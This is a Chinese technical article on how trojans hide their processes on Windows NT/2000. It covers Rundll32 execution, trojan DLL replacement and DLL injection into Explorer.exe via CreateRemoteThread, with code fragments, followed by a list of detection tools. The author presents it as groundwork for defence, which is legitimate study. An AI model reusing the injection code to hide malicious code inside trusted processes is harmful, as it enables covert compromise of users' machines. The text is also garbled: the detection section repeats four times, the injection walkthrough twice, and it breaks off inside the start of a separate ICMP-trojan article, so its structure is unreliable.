【编者按:】在揭开 木马的神秘面纱(三)发表后,有很多朋友来信询问如何在WINNT下隐藏木马的进程。本文会详细的分析WINNT中木马的几种常用隐藏进程手段,给大家揭示木马/后门程序在WINNT中进程隐藏的方法和查找的途径。
在WIN9X中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WINNT中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能欺骗WINNT的任务管理器,难道在WINNT下木马真的再也无法隐藏自己的进程了?
我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一(无论手动还是防火墙),随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术(例如著名的FPort就能够检测出任何进程打开的TCP/UDP端口),假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败(利用心理因素而非技术手段欺骗用户的木马不在我们的讨论范围之内)。在NT下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见(或者视而不见)你的进程;第二是不使用进程。
让系统管理员看不见进程的方法就是进行进程列表欺骗,为了了解如何看不见进程,我们首先要了解怎样能看得见进程:在Windows中有多种方法能够看到进程的存在:PSAPI(Process Status API),PDH(Performance Data Helper),ToolHelp API,如果我们能够欺骗用户和入侵检测软件用来查看进程的函数(例如截获相应的API调用,替换返回的数据),我们就完全能实现进程隐藏,但是一来我们并不知道用户和入侵软件使用的是什么方法来查看进程列表,二来如果我们有权限和技术实现这样的欺骗,我们就一定能使用其它的方法更容易的实现进程的隐藏。(例如:能够替换DLL或挂接API来隐藏进程不如直接用来做木马。)
第二种方法是不使用进程,不使用进程使用什么?为了弄明白这个问题,我们必须要先了解Windows系统的另一种“可执行文件”----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。(你你你,你刚刚不是说不用进程了?)别急呀,听我慢慢道来:因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如资源管理器Explorer.exe,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员而为所欲为。
运行DLL文件最简单的方法是利用Rundll32.exe,Rundll/Rundll32是Windows自带的动态链接库工具,可以用来在命令行下执行动态链接库中的某个函数,其中Rundll是16位而Rundll32是32位的(分别调用16位和32位的DLL文件),Rundll32的使用方法如下:
Rundll32 DllFileName FuncName
例如我们编写了一个MyDll.dll,这个动态链接库中定义了一个MyFunc的函数,那么,我们通过Rundll32.exe MyDll.dll MyFunc就可以执行MyFunc函数的功能。
这个和木马的进程隐藏有什么关系么?当然有了,假设我们在MyFunc函数中实现了木马的功能,那么我们不就可以通过Rundll32来运行这个木马了么?在系统管理员看来,进程列表中增加的是Rundll32.exe而并不是木马文件,这样也算是木马的一种简易欺骗和自我保护方法(至少你不能去把Rundll32.exe删掉吧?想从Rundll32进程找到DLL木马还是有一点麻烦的)
使用Rundll32的方法进行进程隐藏是简易的,非常容易被识破。(虽然杀起来会麻烦一点)比较高级的方法是使用特洛伊DLL,特洛伊DLL的工作原理是使用木马DLL替换常用的DLL文件,通过函数转发器将正常的调用转发给原DLL,截获并处理特定的消息。例如,我们知道WINDOWS的Socket1.x的函数都是存放在wsock32.dll中的,那么我们自己写一个wsock32.dll文件,替换掉原先的wsock32.dll(将原先的DLL文件重命名为wsockold.dll)我们的wsock32.dll只做两件事,一是如果遇到不认识的调用,就直接转发给wsockold.dll(使用函数转发器forward);二是遇到特殊的请求(事先约定的)就解码并处理。这样理论上只要木马编写者通过SOCKET远程输入一定的暗号,就可以控制wsock32.dll(木马DLL)做任何操作。特洛伊DLL技术是比较古老的技术,因此微软也对此做了相当的防范,在Win2K的system32目录下有一个dllcache的目录,这个目录中存放着大量的DLL文件(也包括一些重要的exe文件),这个是微软用来保护DLL的法宝,一旦操作系统发现被保护的DLL文件被篡改(数字签名技术),它就会自动从dllcache中恢复这个文件。虽然说有种种方法可以绕过DLL保护(例如先更改dllcache目录中的备份再修改DLL文件、或者利用KnownDLLs键值更改DLL的默认启动路径等),但是可以想见的未来微软必将更加小心地保护重要的DLL文件;同时由于特洛伊DLL方法本身有着一些漏洞(例如修复安装、安装补丁、升级系统、检查数字签名等方法都有可能导致特洛伊DLL失效),所以这个方法也不能算是DLL木马的最优选择。
DLL木马的最高境界是动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的(私人领地、请勿入内),但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。在多种动态嵌入技术中(窗口Hook、挂接API、远程线程),我最喜欢的是远程线程技术,这种技术非常简单,只要有基本的进线程和动态链接库的知识就可以很轻松地完成嵌入,下面就为大家介绍一下远程线程技术。
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。
首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程 PROCESS_VM_OPERATION | //允许远程VM操作 PROCESS_VM_WRITE,//允许远程VM写 FALSE, dwRemoteProcessId )
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)
//计算DLL路径名需要的内存空间 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); //计算LoadLibraryW的入口地址 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
OK,万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:
//启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL:
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) { char szProcessId[64] ; switch ( reason ) { case DLL_PROCESS_ATTACH: { //获取当前进程ID _itoa ( GetCurrentProcessId(), szProcessId, 10 ); MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); } default: return TRUE; } }
当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到
Process ID: 1208 C:\WINNT\Explorer.exe (0x00400000) …… C:\TestDLL.dll (0x100000000) ……
这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。
无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。
这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒),我想我并不会感到奇怪,倒会疑问这一天为什么这么迟才到来。
要是我的这篇文章到此结束,那么就变成了DLL木马编写教学了:P,其实我们了解DLL木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下DLL木马的查杀。
DLL木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设DLL木马嵌在Explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(IIS),那么即使是管理员,也不能直接终止木马的运行。(在NT中,系统进程不能被直接kill)。因此,我们不能指望NT自带的进程管理器了,需要使用一些附加的工具。
一、 进程/内存模块查看器:
为了能发现DLL木马,我们必须能查看内存中运行的DLL模块(记得么?DLL木马运行在已有的进程内),前面说了,在Windows下查看进程/内存模块的方法很多,有PSAPI、PDH和ToolHelper API。我用PSAPI写了一个这样的工具,补天的雏鹰用PDH写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。
PS工具可以在以下地址下载到: http://www.patching.net/shotgun/ps.zip
实际上,由于Windows系统的复杂性,即使有了上面的工具,查找DLL木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的DLL文件中找到异常的那一个,所以,平时使用PS工具备份一个DLL文件列表会比较有帮助,方法很简单,ps.exe /a /m >ps.log。
二、 端口进程关联软件:
关联端口和进程的软件也是重要的工具之一,虽然DLL木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到: http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip
三、 嗅探器:
嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。在补天的主页上我放置了一个WIN2K下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:
代码及头文件: http://www.patching.net/shotgun/GUNiffer.zip 编译后的程序: http://www.patching.net/shotgun/GUNiffer.exe
四、 注册表保护软件:
可以想象,DLL木马仍然会继续利用注册表来启动自己(在Windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,DLL木马不仅仅局限于Run、Runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊DLL来说,KnownDLLs子键就是再好不过的藏身之处,在注册表的HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\KnownDLLs子键下,存放着一些已知DLL的默认路径,假设DLL木马修改或增加了某个键值,那么木马DLL就可以无声无息地在进程加载知名DLL的时候取代原本的DLL文件进入进程。注册表保护的软件非常多,Lockdown2000就内置这样的功能,另外,SysInternals的Regmon也很不错,下载地址: http://www.nttoolbox.com/public/tools/ntregmon.zip
五、 文件保护:
除了注册表,文件也是DLL木马的启动工具,利用Appname.local 文件进行的DLL转移就可以顺利替换任何应用程序启动时加载的默认DLL,特洛伊DLL更是层出不穷,同样是SysInternals出品的Filemon可以担当文件保护的重则: http://www.nttoolbox.com/public/tools/ntfilmon.zip
DLL木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。
最后,感谢西祠的Lion Hook在DLL文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。
要是我的这篇文章到此结束,那么就变成了DLL木马编写教学了:P,其实我们了解DLL木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下DLL木马的查杀。
DLL木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设DLL木马嵌在Explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(IIS),那么即使是管理员,也不能直接终止木马的运行。(在NT中,系统进程不能被直接kill)。因此,我们不能指望NT自带的进程管理器了,需要使用一些附加的工具。
一、 进程/内存模块查看器:
为了能发现DLL木马,我们必须能查看内存中运行的DLL模块(记得么?DLL木马运行在已有的进程内),前面说了,在Windows下查看进程/内存模块的方法很多,有PSAPI、PDH和ToolHelper API。我用PSAPI写了一个这样的工具,补天的雏鹰用PDH写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。
PS工具可以在以下地址下载到: http://www.patching.net/shotgun/ps.zip
实际上,由于Windows系统的复杂性,即使有了上面的工具,查找DLL木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的DLL文件中找到异常的那一个,所以,平时使用PS工具备份一个DLL文件列表会比较有帮助,方法很简单,ps.exe /a /m >ps.log。
二、 端口进程关联软件:
关联端口和进程的软件也是重要的工具之一,虽然DLL木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到: http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip
三、 嗅探器:
嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。在补天的主页上我放置了一个WIN2K下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:
代码及头文件: http://www.patching.net/shotgun/GUNiffer.zip 编译后的程序: http://www.patching.net/shotgun/GUNiffer.exe
四、 注册表保护软件:
可以想象,DLL木马仍然会继续利用注册表来启动自己(在Windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,DLL木马不仅仅局限于Run、Runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊DLL来说,KnownDLLs子键就是再好不过的藏身之处,在注册表的HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\KnownDLLs子键下,存放着一些已知DLL的默认路径,假设DLL木马修改或增加了某个键值,那么木马DLL就可以无声无息地在进程加载知名DLL的时候取代原本的DLL文件进入进程。注册表保护的软件非常多,Lockdown2000就内置这样的功能,另外,SysInternals的Regmon也很不错,下载地址: http://www.nttoolbox.com/public/tools/ntregmon.zip
五、 文件保护:
除了注册表,文件也是DLL木马的启动工具,利用Appname.local 文件进行的DLL转移就可以顺利替换任何应用程序启动时加载的默认DLL,特洛伊DLL更是层出不穷,同样是SysInternals出品的Filemon可以担当文件保护的重则: http://www.nttoolbox.com/public/tools/ntfilmon.zip
DLL木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。
最后,感谢西祠的Lion Hook在DLL文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。
远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL木马(与进入进程内部相比,启动一个DLL木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。
首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程 PROCESS_VM_OPERATION | //允许远程VM操作 PROCESS_VM_WRITE,//允许远程VM写 FALSE, dwRemoteProcessId )
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我们可以建立LoadLibraryW函数这个线程来启动我们的DLL木马,LoadLibraryW函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,(也就是木马DLL的全路径文件名),但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)
//计算DLL路径名需要的内存空间 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); //计算LoadLibraryW的入口地址 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
OK,万事俱备,我们通过建立远程线程时的地址pfnStartAddr(实际上就是LoadLibraryW的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:
//启动远程线程LoadLibraryW,通过远程线程调用用户的DLL文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
至此,远程嵌入顺利完成,为了试验我们的DLL是不是已经正常的在远程线程运行,我编写了以下的测试DLL:
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) { char szProcessId[64] ; switch ( reason ) { case DLL_PROCESS_ATTACH: { //获取当前进程ID _itoa ( GetCurrentProcessId(), szProcessId, 10 ); MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); } default: return TRUE; } }
当我使用RmtDll.exe程序将这个TestDLL.dll嵌入Explorer.exe进程后(PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具也能看到
Process ID: 1208 C:\WINNT\Explorer.exe (0x00400000) …… C:\TestDLL.dll (0x100000000) ……
这证明TestDLL.dll已经在Explorer.exe进程内正确地运行了。
无论是使用特洛伊DLL还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。
这个时候,我们可以说已经实现了一个真正意义上的木马,它不仅欺骗、进入你的计算机,甚至进入了进程的内部,从某种意义上说,这种木马已经具备了病毒的很多特性,例如隐藏和寄生(和宿主同生共死),如果有一天,出现了具备所有病毒特性的木马(不是指蠕虫,而是传统意义上的寄生病毒),我想我并不会感到奇怪,倒会疑问这一天为什么这么迟才到来。
要是我的这篇文章到此结束,那么就变成了DLL木马编写教学了:P,其实我们了解DLL木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下DLL木马的查杀。
DLL木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设DLL木马嵌在Explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(IIS),那么即使是管理员,也不能直接终止木马的运行。(在NT中,系统进程不能被直接kill)。因此,我们不能指望NT自带的进程管理器了,需要使用一些附加的工具。
一、 进程/内存模块查看器:
为了能发现DLL木马,我们必须能查看内存中运行的DLL模块(记得么?DLL木马运行在已有的进程内),前面说了,在Windows下查看进程/内存模块的方法很多,有PSAPI、PDH和ToolHelper API。我用PSAPI写了一个这样的工具,补天的雏鹰用PDH写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。
PS工具可以在以下地址下载到: http://www.patching.net/shotgun/ps.zip
实际上,由于Windows系统的复杂性,即使有了上面的工具,查找DLL木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的DLL文件中找到异常的那一个,所以,平时使用PS工具备份一个DLL文件列表会比较有帮助,方法很简单,ps.exe /a /m >ps.log。
二、 端口进程关联软件:
关联端口和进程的软件也是重要的工具之一,虽然DLL木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到: http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip
三、 嗅探器:
嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。在补天的主页上我放置了一个WIN2K下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:
代码及头文件: http://www.patching.net/shotgun/GUNiffer.zip 编译后的程序: http://www.patching.net/shotgun/GUNiffer.exe
四、 注册表保护软件:
可以想象,DLL木马仍然会继续利用注册表来启动自己(在Windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,DLL木马不仅仅局限于Run、Runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊DLL来说,KnownDLLs子键就是再好不过的藏身之处,在注册表的HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\KnownDLLs子键下,存放着一些已知DLL的默认路径,假设DLL木马修改或增加了某个键值,那么木马DLL就可以无声无息地在进程加载知名DLL的时候取代原本的DLL文件进入进程。注册表保护的软件非常多,Lockdown2000就内置这样的功能,另外,SysInternals的Regmon也很不错,下载地址: http://www.nttoolbox.com/public/tools/ntregmon.zip
五、 文件保护:
除了注册表,文件也是DLL木马的启动工具,利用Appname.local 文件进行的DLL转移就可以顺利替换任何应用程序启动时加载的默认DLL,特洛伊DLL更是层出不穷,同样是SysInternals出品的Filemon可以担当文件保护的重则: http://www.nttoolbox.com/public/tools/ntfilmon.zip
DLL木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。
最后,感谢西祠的Lion Hook在DLL文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。
要是我的这篇文章到此结束,那么就变成了DLL木马编写教学了:P,其实我们了解DLL木马原理的最终目的还是为了更好的防御它,所以,让我们来讨论一下DLL木马的查杀。
DLL木马对于进程管理器来说是隐藏的,所以我们既不能用进程管理器来查找,也无法直接将它停止运行,假设DLL木马嵌在Explorer.exe这样的进程我们还能直接将宿主进程杀掉,但是如果木马通过提升权限等方法进入了inetinfo.exe这样的系统进程(IIS),那么即使是管理员,也不能直接终止木马的运行。(在NT中,系统进程不能被直接kill)。因此,我们不能指望NT自带的进程管理器了,需要使用一些附加的工具。
一、 进程/内存模块查看器:
为了能发现DLL木马,我们必须能查看内存中运行的DLL模块(记得么?DLL木马运行在已有的进程内),前面说了,在Windows下查看进程/内存模块的方法很多,有PSAPI、PDH和ToolHelper API。我用PSAPI写了一个这样的工具,补天的雏鹰用PDH写了一个更加强大的进程查看器,支持查看远程主机状况(知道系统管理员密码的情况下),希望早日整理发布。
PS工具可以在以下地址下载到: http://www.patching.net/shotgun/ps.zip
实际上,由于Windows系统的复杂性,即使有了上面的工具,查找DLL木马仍然是非常艰难的,只有非常了解系统结构的管理员才能从无数的DLL文件中找到异常的那一个,所以,平时使用PS工具备份一个DLL文件列表会比较有帮助,方法很简单,ps.exe /a /m >ps.log。
二、 端口进程关联软件:
关联端口和进程的软件也是重要的工具之一,虽然DLL木马隐藏在其他进程中,但是多多少少会有一些异常,功能强大的Fport就是一个优秀的进程端口关联软件,可以在以下地址下载到: http://www.foundstone.com/rdlabs/termsofuse.php?filename=FPortNG.zip
三、 嗅探器:
嗅探器帮助我们发现异常的网络通讯,从而引起我们的警惕和关注,嗅探器的原理很简单,通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。在补天的主页上我放置了一个WIN2K下的命令行嗅探器,任何有兴趣的朋友都可以去下载源码并改写成自己需要的工具:
代码及头文件: http://www.patching.net/shotgun/GUNiffer.zip 编译后的程序: http://www.patching.net/shotgun/GUNiffer.exe
四、 注册表保护软件:
可以想象,DLL木马仍然会继续利用注册表来启动自己(在Windows中到哪里去找一个比注册表更复杂、更适合木马隐藏的地方呢?)不同的是,DLL木马不仅仅局限于Run、Runonce这些众所周知的子键,而是拥有更多的选择。例如对于特洛伊DLL来说,KnownDLLs子键就是再好不过的藏身之处,在注册表的HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\KnownDLLs子键下,存放着一些已知DLL的默认路径,假设DLL木马修改或增加了某个键值,那么木马DLL就可以无声无息地在进程加载知名DLL的时候取代原本的DLL文件进入进程。注册表保护的软件非常多,Lockdown2000就内置这样的功能,另外,SysInternals的Regmon也很不错,下载地址: http://www.nttoolbox.com/public/tools/ntregmon.zip
五、 文件保护:
除了注册表,文件也是DLL木马的启动工具,利用Appname.local 文件进行的DLL转移就可以顺利替换任何应用程序启动时加载的默认DLL,特洛伊DLL更是层出不穷,同样是SysInternals出品的Filemon可以担当文件保护的重则: http://www.nttoolbox.com/public/tools/ntfilmon.zip
DLL木马的查杀非常复杂,并不是一天两天能够掌握的,目前补天公司也正在进行相关防御软件的开发,希望很快能为大家提供一个简单快捷的解决方案。
最后,感谢西祠的Lion Hook在DLL文件操作上对我的指导,同时也感谢补天的abu、yagami、eyas、sztwww、大鹰、大皮球和其他兄弟们跟我一起讨论隐藏进程的技术,让我学到了很多的东西。
在揭开木马的神秘面纱(二)发表后,有很多朋友来信询问新型木马的详细情况,本文会详细的分析Win2000下一种新型木马的内部构造和防御方法。(本文默认的操作系统为Win2000,开发环境为VC++6.0。)
大家知道,一般的"古典"型木马都是通过建立TCP连接来进行命令和数据的传递的,但是这种方法有一个致命的漏洞,就是木马在等待和运行的过程中,始终有一个和外界联系的端口打开着,这是木马的阿喀琉斯之踵(参看希腊神话《特洛伊战纪》),也是高手们查找木马的杀手锏之一(Netstat大法)。所谓道高一尺,魔高一丈,木马也是在斗争中不断进步不断成长的,其中一种ICMP木马就彻底摆脱了端口的束缚,成为黑客入侵后门工具中的佼佼者。
什么是ICMP呢?ICMP全称是Internet Control Message Protocol(互联网控制报文协议)它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文,这个协议常常为TCP或UDP协议服务,但是也可以单独使用,例如著名的工具Ping(向Mike Muuss致敬),就是通过发送接收ICMP_ECHO和ICMP_ECHOREPLY报文来进行网络诊断的。
实际上,ICMP木马的出现正是得到了Ping程序的启发,由于ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱端口的绝好机会,木马将自己伪装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给木马进程,一旦事先约定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。
ICMP_ECHOREPLY包还有对于防火墙和网关的穿透能力。对于防火墙来说,ICMP报文是被列为危险的一类:从Ping of Death到ICMP风暴到ICMP碎片攻击,构造ICMP报文一向是攻击主机的最好方法之一,因此一般的防火墙都会对ICMP报文进行过滤;但是ICMP_ECHOREPLY报文却往往不会在过滤策略中出现,这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行Ping的操作,这样对于用户是极其不友好的。如果设置正确,ICMP_ECHOREPLY报文也能穿过网关,进入局域网。
为了实现发送/监听ICMP报文,必须建立SOCK_RAW(原始套接口),首先,我们需要定义一个IP首部:
typedef struct iphdr {
unsigned int version:4; // IP版本号,4表示IPV4
unsigned int h_len:4; // 4位首部长度
unsigned char tos; // 8位服务类型TOS
unsigned short total_len; // 16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; // 3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; // 8位协议 (TCP, UDP 或其他)
unsigned short checksum; // 16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader; 然后定义一个ICMP首部:
typedef struct _ihdr {
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}IcmpHeader;
这时可以同过WSASocket建立一个原始套接口:
SockRaw=WSASocket(
AF_INET, //协议族
SOCK_RAW, //协议类型,SOCK_RAW表示是原始套接口
IPPROTO_ICMP, //协议,IPPROTO_ICMP表示ICMP数据报
NULL, //WSAPROTOCOL_INFO置空
0, //保留字,永远置为0
WSA_FLAG_OVERLAPPED //标志位
);
